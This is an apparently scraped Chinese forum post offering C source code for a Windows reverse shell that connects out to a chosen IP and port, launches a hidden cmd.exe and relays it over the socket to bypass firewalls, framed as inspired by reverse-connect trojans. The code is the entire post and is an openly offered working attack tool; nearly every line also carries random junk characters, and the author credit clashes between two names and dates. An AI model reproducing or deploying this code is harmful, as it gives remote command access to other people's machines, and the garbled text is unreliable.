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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 &vkp?UH  
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/* ============================== kdd7X bw-  
Rebound port in Windows NT _r7=&oL.Q  
By wind,2006/7 :o<N!*pT  
===============================*/ dh?S[|='  
#include 4[xA- \  
#include 7p !zp9|  
@LHtt/&  
#pragma comment(lib,"wsock32.lib") Hp*gv/0  
^ `E@/<w8  
void OutputShell(); y\@SC\jk|  
SOCKET sClient; 8k%H[Smn:  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; tnNZ`]qY  
|zb`&tv}  
void main(int argc,char **argv) CHg]Ul  
{ 6_Fpca3L  
WSADATA stWsaData; LEA;dSf  
int nRet; @F~0p5I  
SOCKADDR_IN stSaiClient,stSaiServer; KKV)DExv?  
SUo^c1)G  
if(argc != 3) {QW-g  
{ $xQ"PJ2  
printf("Useage:\n\rRebound DestIP DestPort\n"); |O%:P}6c  
return; 4 ;^g MI9  
} m^5s >hUl  
G~O" /WM  
WSAStartup(MAKEWORD(2,2),&stWsaData); Mo~ki"9.  
v)%[  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Bmmb  
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stSaiClient.sin_family = AF_INET; QZ?O;K1|y  
stSaiClient.sin_port = htons(0); 9armirfV'P  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); i+U@\:=  
l#p }{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ofVEao  
{ dEL3?-;'  
printf("Bind Socket Failed!\n"); TLXhE(o|o  
return; `B:B7Cpvn  
} $+0=GN  
2\DTJ`Y,  
stSaiServer.sin_family = AF_INET; N\c &PS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); "^Y6ctw  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); { ( _B  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) `8mD7xsg$  
{ +SO2M|ru&  
printf("Connect Error!"); };i&a%I|  
return; .MzOLv   
} P\Ai|"=&]  
OutputShell(); E(7@'d{o  
} pCz@(:0  
0Z@ARMCe|m  
void OutputShell() ]jZiW1C*a  
{  Y>xi|TWN  
char szBuff[1024]; '.=Wk^,Ua  
SECURITY_ATTRIBUTES stSecurityAttributes; @TdQZZ}G\x  
OSVERSIONINFO stOsversionInfo; )!'Fa_$ e  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; V h Z=,m  
STARTUPINFO stStartupInfo; J'I1,5(  
char *szShell; Lhl$w'r  
PROCESS_INFORMATION stProcessInformation; pQk=x T  
unsigned long lBytesRead; R)sp  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Uc_'3|e  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); pg} ~vb"  
stSecurityAttributes.lpSecurityDescriptor = 0; aQl?d<|+lk  
stSecurityAttributes.bInheritHandle = TRUE; .jvSAV5B  
A/ 7r:yO  
6{b%Jfo  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); |WD,\=J2  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); )?!vJb"  
w{_e"N  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); qk_p}l-F1  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; R59e&   
stStartupInfo.wShowWindow = SW_HIDE; ~C}(\8g  
stStartupInfo.hStdInput = hReadPipe; Bpk@{E9  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe;  1m&!l6Jk  
^Nd|+}  
GetVersionEx(&stOsversionInfo); -&qRo0^3  
A6@+gP<  
switch(stOsversionInfo.dwPlatformId) R=][>\7]}  
{ ]&3s6{R  
case 1: n/KI"qa]9  
szShell = "command.com"; O!#L#u53  
break; 9f@#SB_H  
default: ki[;ZmQq Y  
szShell = "cmd.exe"; ?)A]q' O  
break; "i!2=A8k  
}  IgzCh  
]7#^])>  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (hhdbf  
LU-#=1Q  
send(sClient,szMsg,77,0); '0'"k2"vC  
while(1) vR6^n~  
{ N}8HK^n*  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); '<R B  
if(lBytesRead) a z:~{ f*-  
{ cc2d/<:  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ~|aeKtCs(.  
send(sClient,szBuff,lBytesRead,0); TS\A`{^T  
} 9 NGeh*`  
else >.!5M L\  
{ 'T&=$9g7  
lBytesRead=recv(sClient,szBuff,1024,0); tj"v0u?zW  
if(lBytesRead<=0) break; )rs|=M=Xk  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :=iM$_tp'  
} Ovl?j&8  
} '-nuH;r  
zJy 89ib'  
return; ?c=R"Yg$  
}
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